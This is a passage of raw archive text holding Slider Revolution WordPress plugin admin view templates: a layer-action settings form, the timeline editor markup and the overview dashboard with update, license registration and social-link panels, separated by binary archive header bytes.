								<label_a><?php _e('Scroll Offset', 'revslider');?></label_a><input class="easyinit actioninput" type="text" id="la_scrollunder_offset" data-numeric="true" data-allowed="px,%" data-r="actions.action.#actionindex#.scrollunder_offset" placeholder="<?php _e('Offset to Scroll Position', 'revslider');?>" ><span class="linebreak"></span>
								<label_a><?php _e('Animation Ease', 'revslider');?></label_a><select id="la_action_easing" class="easyinit actioninput tos2 nosearchbox easingSelect" data-r="actions.action.#actionindex#.action_easing"></select>
								<label_a><?php _e('Animation Duration', 'revslider');?></label_a><input class="easyinit actioninput" type="text" id="la_saction_speed" data-numeric="true" data-allowed="ms" data-r="actions.action.#actionindex#.action_speed" placeholder="<?php _e('Animation Duration in ms', 'revslider');?>" ><span class="linebreak"></span>
								<span class="linebreak"></span>
							</div>

							<!-- JUMP TO SLIDE -->
							<div id="la_settings_jumpto" class="la_settings">
								<label_a><?php _e('Jump to Slide', 'revslider');?></label_a><select id="la_jump_to_slide" data-r="actions.action.#actionindex#.jump_to_slide" class="easyinit actioninput nosearchbox tos2"></select>
								<span class="linebreak"></span>
							</div>

							<!-- LAYER TARGET -->
							<div id="la_settings_layertarget" class="la_settings">
								<label_a><?php _e('Target Layer', 'revslider');?></label_a><select id="la_layer_target" data-evt="refreshActionView" data-theme="layer_selector_drop_down" data-r="actions.action.#actionindex#.layer_target" class="easyinit actioninput nosearchbox tos2"></select>					
							</div>
							

							<!-- LAYER TOGGLE -->
							<div id="la_settings_layer_toggle_actions" class="la_settings">
								<label_a><?php _e('Toggle Start State', 'revslider');?></label_a><select id="toggle_layer_type" data-evt="refreshLayerToggleState" data-theme="layer_selector_drop_down" data-r="actions.action.#actionindex#.toggle_layer_type" class="easyinit actioninput nosearchbox tos2"><option value="visible"><?php _e('Toggled (Visible)', 'revslider');?></option><option value="hidden"><?php _e('Untoggled (Hidden)', 'revslider');?></option></select>
							</div>

							<!-- LAYER ANIMATION IN/OUT -->
							<div id="la_settings_layer_actions_in" class="la_settings">
								<label_a><?php _e('Frame wait\'s on Action', 'revslider');?></label_a><input id="overtake_frame_1_control" type="checkbox" class="targetlayeractioninput" data-r="timeline.frames.frame_1.timeline.actionTriggered"><span class="linebreak"></span>					
							</div>
							
							<!-- LAYER ANIMATION IN/OUT -->
							<div id="la_settings_layer_actions_out" class="la_settings">
								<label_a><?php _e('Frame wait\'s on Action', 'revslider');?></label_a><input type="checkbox" id="overtake_frame_999_control" class="targetlayeractioninput" data-r="timeline.frames.frame_999.timeline.actionTriggered"><span class="linebreak"></span>	
							</div>

							<!-- LAYER ANIMATION FRAME -->
							<div id="la_settings_layer_actions_frame" class="la_settings">
								<label_a><?php _e('GoTo Frame', 'revslider');?></label_a><select id="la_gotoframeX"  data-evt="updatePlayFrameXOnlyOnAction" data-evtparam="X" data-r="actions.action.#actionindex#.gotoframe" class="callEvent easyinit actioninput nosearchbox tos2"></select>
								<span class="linebreak"></span>
								<label_a><?php _e('Frame wait\'s on Action', 'revslider');?></label_a><input type="checkbox" id="overtake_frameX_control" class="targetlayeractioninput " data-r="timeline.frames.frame_2.timeline.actionTriggered"><span class="linebreak"></span>					
							</div>

							<!-- LAYER ANIMATION FRAME -->
							<div id="la_settings_layer_actions_frameXY" class="la_settings">
								<div class="div20"></div>
								<label_a><?php _e('Frame N', 'revslider');?></label_a><select id="la_gotoframeN"  data-evt="updatePlayFrameXOnlyOnAction" data-evtparam="N" data-r="actions.action.#actionindex#.gotoframeN" class="callEvent easyinit actioninput nosearchbox tos2"></select>
								<label_a><?php _e('Frame M', 'revslider');?></label_a><select id="la_gotoframeM"  data-evt="updatePlayFrameXOnlyOnAction" data-evtparam="M" data-r="actions.action.#actionindex#.gotoframeM" class="callEvent easyinit actioninput nosearchbox tos2"></select>
								<span class="linebreak"></span>
								<label_a><?php _e('"N" wait\'s on Action', 'revslider');?></label_a><input type="checkbox" id="overtake_frameN_control" class="targetlayeractioninput " data-r="timeline.frames.frame_88.timeline.actionTriggered"><span class="linebreak"></span>					
								<label_a><?php _e('"M" wait\'s on Action', 'revslider');?></label_a><input type="checkbox" id="overtake_frameM_control" class="targetlayeractioninput " data-r="timeline.frames.frame_77.timeline.actionTriggered"><span class="linebreak"></span>					
								<div class="div20"></div>
							</div>

							<!-- LAYER CHILDREN TIMELINE RESET IF NEEDED -->
							<div id="la_settings_childrentimelines" class="la_settings">
								<label_a><?php _e('Reset Children Timelines', 'revslider');?></label_a><input id="update_children_timelines" type="checkbox" class="easyinit actioninput" data-r="actions.action.#actionindex#.updateChildren">
							</div>

							<!-- LAYER ANIMATION IN/OUT -->
							<div id="la_settings_layer_actions" class="la_settings">
								<label_a><?php _e('After Action', 'revslider');?></label_a><select id="la_triggerMemory" data-r="actions.triggerMemory" class="targetlayeractioninput nosearchbox tos2"><option value="reset"><?php _e('Reset before each Loop', 'revslider');?></option><option value="keep"><?php _e('Keep Last State', 'revslider');?></option></select>
								<span class="linebreak"></span>
							</div>

							<!-- LAYER TARGET CLASS-->
							<div id="la_settings_class" class="la_settings">
								<label_a><?php _e('Class to Toggle', 'revslider');?></label_a><input class="easyinit actioninput" type="text" id="la_toggle_class" data-r="actions.action.#actionindex#.toggle_class" placeholder="<?php _e('class Name to Toggle', 'revslider');?>" ><span class="linebreak"></span>
							</div>

							<!-- ACTION EXTENSIONS -->
							<div id="layer_action_extension_wrap"></div>

							<!-- DELAY -->
							<div id="laction_delay"><label_a><?php _e('Action Delay', 'revslider');?></label_a><input class="easyinit actioninput" data-numeric="true" data-allowed="ms" type="text" id="layer_action_delay" data-r="actions.action.#actionindex#.action_delay" placeholder="0"></div>

							<!-- REPEAT DELAY -->
							<div id="lraction_delay"><label_a><?php _e('Trigger Repeat Delay', 'revslider');?></label_a><input class="easyinit actioninput" data-numeric="true" data-allowed="ms" type="text" id="layer_action_repeat" data-r="actions.action.#actionindex#.action_repeats" placeholder="0"></div>
						</div><!-- END OF INPUT FIELD LIST OF THE SELECTED ACTION -->
					</div>
				</div>
			</div>
		</div>
	</div>
</div>PK�y3\�|�#�#views/builder-timeline.phpnu�[���<?php
/**
 * Provide a admin area view for the plugin TIMELINE SETTINGS
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();
?>

<!-- TIMELINE -->
<div id="timeline_settings">
	<!-- LAYERS LIST -->
	<div id="timeline">
		<div id="timeline_collapser"><i class="material-icons">close</i></div>
		<div id="timeline_top_toolbar"><!--			
			--><div class="timeline_left_container">
				<div class="layer_group_filter_wrap">
					<div class="layer_g_filter"><label_icon class="selected ui_free_layers" data-realref="hide_all_nonezone" data-ref="hide_free_layers"></label_icon></div><!--
					--><div class="layer_g_filter"><label_icon class="selected ui_top_row_layers" data-realref="hide_all_zone" data-ref="hide_top_row_layers hide_middle_row_layers hide_bottom_row_layers"></label_icon></div><!--
					--><div class="layer_allcollaps"><i class="material-icons lacoll_open">folder_open</i></div>
				</div><!--				
				--><div id="tl_gridmanagement_wrap" class="tl_gridmanagement_wrap">
						<div id="general_gridmanagement_wrap" class="sliderconfig_forms">															
							<label_a><?php _e('Adjust by', 'revslider');?></label_a><select id="snap_to_what" class="sliderinput tos2 nosearchbox easyinit callEvent" data-r="snap.adjust" data-show="" data-hide="" data-theme="dark" data-evt="updateSnapVisual">
									<option value="none"><?php _e('None', 'revslider');?></option>
									<option value="grid"><?php _e('Grid', 'revslider');?></option>
									<option value="layers"><?php _e('Same Aligned Layers','revslider');?></option>									
							</select><div class="linebreak"></div>
							<label_a><?php _e('Gap', 'revslider');?></label_a><input data-numeric="true" data-min="0" data-max="2500" data-evt="updateSnapVisual" id="snap_cell_size" data-r="snap.gap" type="text" class="callEvent sliderinput easyinit valueduekeyboard "><div class="linebreak"></div>
							<div class="closeme_tl_miniwrapper"><i class="material-icons">close</i></div>
						</div>				
						<div class="basic_action_button mini_action_button onlyicon" id="tl_gridmanagement"><i class="material-icons">border_vertical</i></div>

					</div><!--
				--><div class="tl_magnifying_wrap">
						<div id="general_frame_magnif_wrap">
							<div class="radiooption">
								<div class="magnet_fr_none selected"><input id="magnet_fr_none"  data-select=".st_slider" data-unselect=".magnet_fr_sticky, .magnet_fr_sticky_inh" name="frame_maginfiy_radio" data-evt="magnetframes" data-evtparam="0" type="radio" value="0" class="basicinput callEvent" checked="checked"><label_sub><?php _e('No Sticky Keyframes', 'revslider');?></label_sub><span class="shortcuttext osx"><span class="shortcut_cmdctrl">⌘</span>U</span></div>
								<div  class="magnet_fr_sticky"><input id="magnet_fr_sticky" data-select=".magnet_fr_sticky" data-unselect=".magnet_fr_none, .magnet_fr_sticky_inh" name="frame_maginfiy_radio" data-evt="magnetframes" data-evtparam="1" type="radio" value="1" class="basicinput callEvent"><label_sub><?php _e('Single Layer Sticky', 'revslider');?></label_sub><span class="shortcuttext osx"><span class="shortcut_cmdctrl">⌘</span>I</span></div>
								<div  class="magnet_fr_sticky_inh"><input id="magnet_fr_sticky_inh" data-select=".magnet_fr_sticky_inh" data-unselect=".magnet_fr_none, .magnet_fr_sticky" name="frame_maginfiy_radio" data-evt="magnetframes" data-evtparam="2" type="radio" value="2" class="basicinput callEvent"><label_sub><?php _e('Hierarchy Sticky', 'revslider');?></label_sub><span class="shortcuttext osx"><span class="shortcut_cmdctrl">⌘</span>O</span></div>
							</div>
							<div class="closeme_tl_miniwrapper"><i class="material-icons">close</i></div>
						</div>
						<div class="basic_action_button mini_action_button onlyicon" id="tl_framemagnet"><label_icon class="ui_magnet"></label_icon></div>						
					</div><!--
				--><div class="tl_multip_wrap">					
					<div id="general_speed_factor_wrap">
						<label_a><?php _e('Set all Timings', 'revslider');?></label_a>
						<input id="general_speed_factor" class="basicinput" type="text" data-min="1" data-max="500" placeholder="100%" data-numeric="true" data-allowed="%" value="100%"/>
						<div id="gsf_ok" class="basic_action_button onlyicon"><i class="material-icons">update</i></div>
						<div class="closeme_tl_miniwrapper"><i class="material-icons">close</i></div>
					</div>
					<div class="basic_action_button mini_action_button onlyicon" id="tl_multiplicator"><i class="material-icons">shutter_speed</i></div>
				</div><!--
				--><div class="tl_playstop_wrap"><div id="timline_process" data-states="play,stop" data-start_state="play" data-stop="playTimeLine" data-stop_state="Stop" data-stop_icon="stop" data-play="stopTimeLine" data-play_state="Play" data-play_icon="play_arrow" class="basic_action_button mini_action_button switch_button activeswitch autosize" data-state="play"><i class="material-icons switch_button_icon">play_arrow</i></div></div>
				<!--<div class="tl_toolbar_wrap">
					<div class="all_layer_delete all_layer_tool"><i class="material-icons">delete</i></div>
					<div class="all_layer_hide_show all_layer_tool"><i class="material-icons">visibility_off</i></div>
					<div class="all_layer_selector all_layer_tool"><i class="material-icons">check_box_outline_blank</i></div>
					<div class="all_layer_untilend all_layer_tool"><i class="material-icons">keyboard_tab</i></div>
				</div>-->
			</div>
			<div class="timeline_right_container">
				<div id="time_linear"><canvas id="time_linear_canvas"></canvas><div class="slidelooptimemarker"></div></div>
				<div id="fixedscroll_linear"><div class="fixedscrolltimemarker"></div></div>
				<div id="hovertime"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="frametime"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="currenttime"><div class="timebox_idle">EDITOR</div><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="maxtime"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="slidelooptimestart"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="slidelooptimeend"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>

				<div id="fixedscrolltimestart"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
				<div id="fixedscrolltimeend"><div class="timebox"><span class="ctm">00</span>:<span class="cts">00</span>:<span class="ctms">00</span></div><div class="timebox_marker"></div></div>
			</div>
		</div>

		<div id="tlLayerListWrap">			
			<div id="the_slide_timeline" class="slide_timeline">
				<div class="slide_timeline_element">
					<div class="layerlist_element_innerwrap">
						<div id="the_st_cl" class="context_left"><div id="slide_bg_anim_trigger"><div class="layerlist_element_type" ><i class="material-icons">panorama</i></div><div class="layerlist_element_alias"><?php _e('Slide BG Animation', 'revslider');?></div></div><i id="tl_trigger_slide_options" data-select="#gst_slide_1" data-unselect=".slide_submodule_trigger" data-collapse="true" data-forms='["*slidelayout**mode__slidestyle*#form_slidebg"]' class="material-icons opensettingstrigger">perm_media</i></div>
						<div id="slide_frame_container" class="stimeline">
							<div class="slidelooptimemarker"></div>
							<div class="frameswrap"></div>
						</div>
					</div>
				</div>
			</div>
			<div id="the_global_layers_timeline" class="slide_timeline">
				<div class="slide_timeline_element">
					<div class="layerlist_element_innerwrap">
						<div id="the_fake_cl" class="context_left"><div><div class="layerlist_element_type" ><i class="material-icons">panorama</i></div><div class="layerlist_element_alias"><?php _e('Global Layers Timeline', 'revslider');?></div></div></div>
						<div id="fake_frame_container" class="stimeline"></div>
					</div>
				</div>
			</div>
			<!--<div class="fake_slide_timeline">
				<div class="fake_tllayerlist_element tllayerlist_element_zone">
					<div class="layerlist_element_innerwrap" data-ignore="true">
						<div class="context_left"><div class="layerlist_element_type"></div><div class="layerlist_element_alias"><?php _e('FREE POSITIONED LAYERS', 'revslider');?></div></div>
						<div class="stimeline">							
							<div class="frameswrap"></div>
						</div>
					</div>
				</div>
			</div>-->
		</div>
	</div>
</div><!-- END OF TIMELINE  -->PK�y3\1�ڮsLsLviews/overview.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();


$system_config	= $rsaf->get_system_requirements();
$current_user	= wp_get_current_user();
$revslider_valid = get_option('revslider-valid', 'false');
$show_trustpilot = $rsaf->_truefalse(get_option('revslider-trustpilot', 'true'));
$latest_version	= get_option('revslider-latest-version', RS_REVISION);
$stable_version	= get_option('revslider-stable-version', '4.2');
$latest_version	= ($revslider_valid !== 'true' && version_compare($latest_version, $stable_version, '<')) ? $stable_version : $latest_version;
$code			= get_option('revslider-code', '');
$time			= date('H');
$timezone		= date('e');/* Set the $timezone variable to become the current timezone */
$hi				= __('Good Evening ', 'revslider');
$selling 		= $rsaf->get_addition('selling');
if($time < '12'){
	$hi = __('Good Morning ', 'revslider');
}elseif($time >= '12' && $time < '17'){
	$hi = __('Good Afternoon ', 'revslider');
}
$rs_languages	= $rsaf->get_available_languages();
?>
<div id="rb_tlw">
	<?php
	// INCLUDE NEEDED CONTAINERS
	require_once(RS_PLUGIN_PATH . 'admin/views/modals-general.php');
	require_once(RS_PLUGIN_PATH . 'admin/views/modals-overview.php');
	require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php');
	?>
</div>



<div id="rs_overview_menu" class="_TPRB_">
	<div class="rso_scrollmenuitem" data-ref="#rs_overview" ><i class="material-icons">view_module</i><?php _e('Modules', 'revslider');?></div>
	<div class="rso_scrollmenuitem" data-ref="#plugin_update_row" ><i class="material-icons">update</i><?php _e('Updates', 'revslider');?></div>
	<div class="rso_scrollmenuitem" data-ref="#plugin_activation_row"><i class="material-icons">vpn_key</i><?php _e('Activation', 'revslider');?></div>
	<div class="rso_scrollmenuitem" data-ref="#plugin_news_row"><i class="material-icons">library_books</i><?php _e('News', 'revslider');?></div>
	<div class="rso_scrollmenuitem" id="globalsettings" ><i class="material-icons">settings</i><?php _e('Globals', 'revslider');?></div>
	<div class="rso_scrollmenuitem" id="linktodocumentation" ><i class="material-icons">chrome_reader_mode</i><?php _e('FAQ\'s', 'revslider');?></div>
	<div class="rso_scrollmenuitem" id="contactsupport" ><i class="material-icons">contact_support</i><?php _e('Support', 'revslider');?></div>
	<!--<div class="rso_scrollmenuitem lilabuybutton" id="buynow_notregistered"><?php _e('Buy Now', 'revslider');?></div>-->
	<div class="rso_scrollmenuitem" id="rso_menu_notices"><div id="rs_notice_bell" class="notice_level_2"><i id="rs_notice_the_bell" class="material-icons">notifications_active</i></div><div class="notice_level_2" id="rs_notice_counter">0</div><ul id="rs_notices_wrapper"></ul></div>
</div>
<div id="rs_overview" class="rs_overview _TPRB_">
	<div id="rsalienfakeplaceholder"></div>
	<!-- WELCOME TO SLIDER REVOLUTION -->
	<div id="rs_welcome_header_area">
		<h2 id="rs_welcome_h2" class="title"><?php echo $hi; echo $current_user->display_name; echo '!'; ?></h2>
		<h3 id="rs_welcome_h3" class="subtitle"><?php _e('You are running Slider Revolution ', 'revslider'); echo RS_REVISION; ?></h3>
		<?php if ($selling === true) { ?>	
			<a href="https://account.sliderrevolution.com/portal/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=members" target="_blank" rel="noopener" id="rs_memarea_registered" class="basic_action_button longbutton basic_action_lilabutton"><i class="material-icons">person_outline</i><?php _e('Members Area', 'revslider');?></a>
			<!-- <a href="https://account.sliderrevolution.com/portal/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=members" target="_blank" rel="noopener" id="rs_memarea"></a>					  -->
		<?php } ?>		
	</div>

	<!-- CREATE YOUR SLIDERS -->
	<div id="add_new_slider_wrap">
		<div id="new_blank_slider" class="new_slider_block"><i class="material-icons">movie_filter</i><span class="nsb_title"><?php _e('New Blank Module', 'revslider');?></span></div><!--
		--><div id="new_slider_from_template" class="new_slider_block"><i class="material-icons">style</i><span class="nsb_title"><?php _e('New Module from Template', 'revslider');?></span><div id="new_templates_counter" class="new_elements_available">+ 13</div></div><!--
		--><div id="new_slider_import" class="new_slider_block"><i class="material-icons">file_upload</i><span class="nsb_title"><?php _e('Manual Import', 'revslider');?></span></div><!--
		--><div id="add_on_management" class="new_slider_block"><i class="material-icons">extension</i><span class="nsb_title"><?php _e('AddOns', 'revslider');?></span><div id="new_addons_counter" class="new_elements_available">2</div></div>
	</div>

	<!--LIST AND FILTER OF EXISTIN SLIDERS-->
	<div id="existing_sliders" class="overview_wrap">
		<div id="modulesoverviewheader" class="overview_header">
			<div class="rs_fh_left"><input class="flat_input" id="searchmodules" type="text" placeholder="<?php _e('Search Modules...', 'revslider');?>"/></div>
			<div class="rs_fh_right" style="margin-right:-5px">
				<i class="material-icons reset_select" id="reset_sorting">replay</i><select id="sel_overview_sorting" data-evt="updateSlidersOverview" data-evtparam="#reset_sorting" class="overview_sortby tos2 nosearchbox callEvent" data-theme="autowidth"><option value="datedesc"><?php _e('Sort by Creation', 'revslider');?></option><option value="date"><?php _e('Creation Ascending', 'revslider');?></option><option value="title"><?php _e('Sort by Title', 'revslider');?></option><option value="titledesc"><?php _e('Title Descending', 'revslider');?></option></select>
				<i class="material-icons reset_select" id="reset_filtering">replay</i><select id="sel_overview_filtering" data-evt="updateSlidersOverview" data-evtparam="#reset_filtering" class="overview_filterby tos2 nosearchbox callEvent" data-theme="autowidth"><option value="all"><?php _e('Show all Modules', 'revslider');?></option></select>
				<div data-evt="updateSlidersOverview" id="add_folder" class="action_button"><?php _e('Add Folder', 'revslider');?><i class="material-icons">add</i></div>
			</div>
			<div class="tp-clearfix"></div>
		</div>
		<div class="div15"></div>
		<div class="overview_elements" style="z-index:2"><div class="overview_elements_overlay"></div></div>
		<div class="overview_slide_elements" style="z-index:1"><div class="overview_slide_elements_overlay"></div>
		<div id="modulesoverviewfooter" class="overview_header_footer">
			<div class="rs_fh_right" style="margin-right:23px">
				<div class="ov-pagination"></div>			
				<select id="pagination_select_2" data-evt="updateSlidersOverview" class="overview_pagination tos2 nosearchbox callEvent" data-theme="nomargin"><option id="page_per_page_0" value="4"></option><option id="page_per_page_1" selected="selected" value="8"></option><option id="page_per_page_2" value="16"></option><option id="page_per_page_3" value="32"></option><option id="page_per_page_4" value="64"></option><option value="all"><?php _e('Show All', 'revslider');?></option></select>				
			</div>
			<div class="tp-clearfix"></div>
		</div>
		<!-- FOLDER LIST -->
		<div id="slider_folders_wrap"></div>
		<div id="slider_folders_wrap_underlay"></div>
	</div>



	<div class="div150"></div>
	<!-- PLUGIN INFORMATIONS -->	
	<div id="plugin_update_row" class="plugin_inforow">
		<!-- PLUGIN UPDATE -->
		<div class="pli_left">
			<h3 class="pli_title"><?php _e('Plugin Updates', 'revslider');?></h3>
			<grayiconbox><i class="material-icons">flag</i></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('Installed Version', 'revslider');?></div><div class="dynamicval pli_subtitle"><?php echo RS_REVISION; ?></div></div>
			<div class="div10"></div>
			<grayiconbox id="available_version_icon"><i class="material-icons">cloud_download</i></grayiconbox><div id="available_version_content" class="pli_twoline"><div class="pli_subtitle"><?php _e('Available Version', 'revslider');?></div><div class="available_latest_version dynamicval pli_subtitle"><?php echo $latest_version; ?></div></div>
			<darkiconbox id="check_for_updates" class="rfloated"><i class="material-icons">refresh</i></darkiconbox>			
			<div class="div50"></div>
			<bluebutton id="updateplugin"><?php _e('Update Now', 'revslider');?></bluebutton>
			<div class="div75"></div>
			<h3 class="pli_title"><?php _e('System Requirements', 'revslider');?></h3>
			<div id="system_requirements">
				<div id="syscheck_upload_folder_writable" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('Upload folder writable', 'revslider');?></div>
				<div id="syscheck_memory_limit" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('Memory Limit (256M)', 'revslider');?></div>
				<div id="syscheck_upload_max_filesize" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('Upload Max. Filesize (256M)', 'revslider');?></div>
				<div id="syscheck_post_max_size" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('Max. Post Size (256M)', 'revslider');?></div>
				<div id="syscheck_server_connect" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('ThemePunch Server', 'revslider');?><darkiconbox id="check_for_themepunchserver" class="rfloated"><i class="material-icons">refresh</i></darkiconbox></div>
				<div id="syscheck_object_library_writable" class="system_requirement"><i class="material-icons done_icon">done</i><i class="material-icons warning_icon">warning</i><?php _e('Object Library', 'revslider');?></div>

			</div>
		</div>
		<!-- PLUGIN HISTORY -->
		<div class="pli_right">
			<h3 class="pli_title"><?php _e('Update History', 'revslider');?></h3>
			<div id="plugin_history" class="pli_update_history"><?php echo file_get_contents(RS_PLUGIN_PATH.'release_log.html'); ?></div>
		</div>
	</div>

	<div class="div100"></div>
	<!--Show Trustpilot Message-->	
	<div id="register_trustpilot_wrap" data-state="<?php echo ($show_trustpilot) ? '' : 'closed'; ?>">
		<div class="pli_left"><a id="trustpilotlink" class="purplesmallbutton" href="https://www.trustpilot.com/evaluate/sliderrevolution.com" target="_blank" rel="noopener"><?php _e('Review us on', 'revslider');?><span class="rs_trustpilot_bg"></span></a></div>
		<div class="pli_right"><h3 class="pli_title"><?php _e('Thank you for using Slider Revolution!', 'revslider');?><span class="thicon"></span></h3></div>
		<div id="trust_closer"><i class="material-icons">close</i></div>
	</div>

	<!-- PLUGIN INFORMATIONS -->	
	<div id="plugin_activation_row" class="plugin_inforow">
		<!-- PLUGIN UPDATE -->
		<div id="activation_area" class="pli_left">	
			<h3 id="activateplugintitle" class="pli_title"><?php echo ($selling === true) ? __('Register License Key', 'revslider') : __('Register Purchase Code', 'revslider');?></h3>
			<row>

				<onehalf style="padding-right:5px"><div id="activated_ornot_box" class="box_with_icon"><i class="material-icons">done</i><?php _e('Registered', 'revslider');?></div></onehalf>
				<onehalf style="padding-left:5px"><a target="_blank" rel="noopener" href="<?php echo ($selling === true) ? 'https://www.sliderrevolution.com/faq/where-to-find-purchase-code/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=findkey' : 'https://themepunch.com/faq/where-to-find-the-purchase-code/'; ?>" class="box_with_icon"><i class="material-icons">vpn_key</i><?php echo ($selling === true) ? __('Find My Key', 'revslider') : __('Find My Code', 'revslider');?></a></onehalf>
			</row>
			<div class="div10"></div>
			<div id="purchasekey_wrap" class="activated">
				<div id="hide_purchasekey"><?php _e('xxxx xxxx xxxx xxxx', 'revslider');?></div>				
				<input class="codeinput" id="purchasekey" placeholder="<?php echo ($selling === true) ? __('Enter License Key', 'revslider') : __('Enter Purchase Code', 'revslider');?>"/>	
			</div>
			<div class="div25"></div>
			<bluebutton id="activateplugin"><?php echo ($selling === true) ? __('Deregister this Key', 'revslider') : __('Deregister this Code', 'revslider');?></bluebutton>
			<div class="div25"></div>
			<div class="infobox">
				<div class="whitetitle"><?php echo ($selling === true) ? __('1 License Key per Website', 'revslider') : __('1 Purchase Code per Website', 'revslider');?></div>
				<?php if ($selling === true) { ?>
				<div class="simpletext"><?php _e('If you want to use Slider Revolution on another domain, you need to use a different license key.', 'revslider');?></div>
				<?php } else { ?>
				<div class="simpletext"><?php _e('If you want to use Slider Revolution on another domain, you need to use a different license key.', 'revslider');?></div>
				<?php } ?>
				<div class="div25"></div>
				<a class="lilabuybutton" href="https://account.sliderrevolution.com/portal/pricing/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=buykey" target="_blank" rel="noopener"><?php _e('Buy License Key', 'revslider');?></a>
			</div>
			<div class="div25"></div>
			<div class="infobox">
				<div class="whitetitle" style="display:inline-block"><?php _e('Manage Your Licenses', 'revslider');?></div><div class="rs_new"><?php _e('NEW', 'revslider');?></div>			
				<div class="simpletext"><?php _e('Switch license key registrations, download plugins and get discounts!', 'revslider');?></div>				
				<div class="div25"></div>
				<a class="lilabuybutton" href="https://account.sliderrevolution.com/portal/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=members" target="_blank" rel="noopener"><?php _e('Go To My Dashboard', 'revslider');?></a>
				<div class="div10"></div>
				<a class="simpletext smalllink" target="_blank" rel="noopener" href="https://www.sliderrevolution.com/get-on-board-the-slider-revolution-dashboard/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=signup" ><?php _e('I don‘t have a login. How to get access?', 'revslider');?></a>
			</div>
		</div>
		<!-- PLUGIN FEATURES -->
		<div class="pli_right">
			<h3 class="pli_title" id="rs_register_to_unlock"><?php _e('Register to Unlock All Premium Features', 'revslider');?></h3>
			<div class="features_wrapper">				
				<!-- TEMPLATE LIBRARY -->
				<div class="featurebox">
					<div class="box_with_icon not_activated activate_to_unlock"><i class="material-icons">do_not_disturb</i><?php _e('Register to Unlock', 'revslider');?></div>
					<?php require_once(RS_PLUGIN_PATH . 'admin/views/features/premade_template.php'); ?>
				</div><!--				
				--><div class="featurebox">
					<div class="box_with_icon not_activated activate_to_unlock"><i class="material-icons">do_not_disturb</i><?php _e('Register to Unlock', 'revslider');?></div>
					<?php require_once(RS_PLUGIN_PATH . 'admin/views/features/object_library.php'); ?>
				</div><!--				
				--><div class="featurebox">
					<div class="box_with_icon not_activated activate_to_unlock"><i class="material-icons">do_not_disturb</i><?php _e('Register to Unlock', 'revslider');?></div>
					<?php require_once(RS_PLUGIN_PATH . 'admin/views/features/add_ons.php'); ?>
				</div><!--							
				--><div class="featurebox">
					<div class="box_with_icon not_activated activate_to_unlock"><i class="material-icons">do_not_disturb</i><?php _e('Register to Unlock', 'revslider');?></div>
					<?php require_once(RS_PLUGIN_PATH . 'admin/views/features/support.php'); ?>
				</div>	
			</div>
		</div>
	</div>

	<div class="div150"></div>
	<div id="plugin_news_row" class="plugin_inforow">
		<!-- PLUGIN UPDATE -->
		<div id="cwt_socials" class="pli_left">
			<h3 class="pli_title"><?php _e('Connect with Slider Revolution', 'revslider');?></h3>
			<a class="cwt_link" target="_blank" rel="noopener" href="https://youtube.com/c/sliderrevolution"><grayiconbox class="cwt_youtube"></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('YouTube', 'revslider');?></div><div class="dynamicval pli_subtitle">youtube.com/c/sliderrevolution</div></div></a>
			<div class="div10"></div>
			<a class="cwt_link" target="_blank" rel="noopener" href="https://twitter.com/revslider"><grayiconbox class="cwt_twitter"></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('Twitter', 'revslider');?></div><div class="dynamicval pli_subtitle">twitter.com/revslider</div></div></a>
			<div class="div10"></div>
			<a class="cwt_link" target="_blank" rel="noopener" href="https://www.facebook.com/wordpress.slider.revolution"><grayiconbox class="cwt_facebook"></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('Facebook', 'revslider');?></div><div class="dynamicval pli_subtitle">facebook.com/wordpress.slider.revolution</div></div></a>
			<div class="div10"></div>
			<a class="cwt_link" target="_blank" rel="noopener" href="https://instagram.com/sliderrevolution"><grayiconbox class="cwt_instagram"></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('Instagram', 'revslider');?></div><div class="dynamicval pli_subtitle">instagram.com/sliderrevolution</div></div></a>
			<div class="div10"></div>			
			<a class="cwt_link" target="_blank" rel="noopener" href="https://dribbble.com/sliderrevolution"><grayiconbox class="cwt_dribbble"></grayiconbox><div class="pli_twoline"><div class="pli_subtitle"><?php _e('Dribbble', 'revslider');?></div><div class="dynamicval pli_subtitle">dribbble.com/sliderrevolution</div></div></a>
			<div class="div100"></div>
			<h3 class="pli_title"><?php _e('Sign up to our Newsletter', 'revslider');?></h3>									
			<!--<input class="codeinput" id="newsletter_mail" placeholder="<?php _e('Enter your Email', 'revslider');?>"/> id="signuptonewsletter" -->
